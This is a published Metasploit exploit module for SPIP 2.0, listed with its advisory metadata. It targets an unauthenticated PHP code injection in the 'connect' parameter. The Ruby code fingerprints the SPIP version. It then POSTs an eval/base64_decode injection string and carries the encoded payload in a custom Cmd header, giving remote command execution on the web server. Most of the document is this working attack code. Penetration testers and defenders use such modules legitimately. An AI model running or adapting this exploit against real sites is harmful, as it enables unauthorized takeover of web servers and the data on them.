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SPIP Connect Parameter PHP Injection

SPIP Connect Parameter PHP Injection
Posted Aug 29, 2013
Authored by Davy Douhine, Arnaud Pachot, Frederic Cikala | Site metasploit.com

This Metasploit module exploits a PHP code injection in SPIP. The vulnerability exists in the connect parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. Branches 2.0, 2.1 and 3 are concerned. This module works only against branch 2.0 and has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu and Fedora linux distributions.

tags | exploit, web, arbitrary, php
systems | linux, fedora, ubuntu
advisories | OSVDB-83543
SHA-256 | d27325e9d83bde4fc580a0bfde93a3bfbc111c65ffc0b7db562ca093df580462

SPIP Connect Parameter PHP Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'SPIP connect Parameter PHP Injection',
'Description' => %q{
This module exploits a PHP code injection in SPIP. The vulnerability exists in the
connect parameter and allows an unauthenticated user to execute arbitrary commands
with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions
are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and
has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu
and Fedora linux distributions.
},
'Author' =>
[
'Arnaud Pachot', #Initial discovery
'Frederic Cikala', # PoC
'Davy Douhine' # PoC and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '83543' ],
[ 'BID', '54292' ],
[ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 04 2012'))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),
], self.class)
end

def check
version = nil
uri = normalize_uri(target_uri.path, "spip.php")

res = send_request_cgi({ 'uri' => "#{uri}" })

if res and res.code == 200 and res.body =~ /<meta name="generator" content="SPIP (.*) \[/
version = $1
end

if version.nil? and res.code == 200 and res.headers["Composed-By"] =~ /SPIP (.*) @/
version = $1
end

if version.nil?
return Exploit::CheckCode::Unknown
end

vprint_status("SPIP Version detected: #{version}")

if version =~ /^2\.0/ and version < "2.0.21"
return Exploit::CheckCode::Vulnerable
elsif version =~ /^2\.1/ and version < "2.1.16"
return Exploit::CheckCode::Appears
elsif version =~ /^3\.0/ and version < "3.0.3"
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe

end

def exploit
uri = normalize_uri(target_uri.path, 'spip.php')
print_status("#{rhost}:#{rport} - Attempting to exploit...")
res = send_request_cgi(
{
'uri' => uri,
'method' => 'POST',
'vars_post' => {
'connect' => "?><? eval(base64_decode($_SERVER[HTTP_CMD])); ?>",
},
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})
end

end
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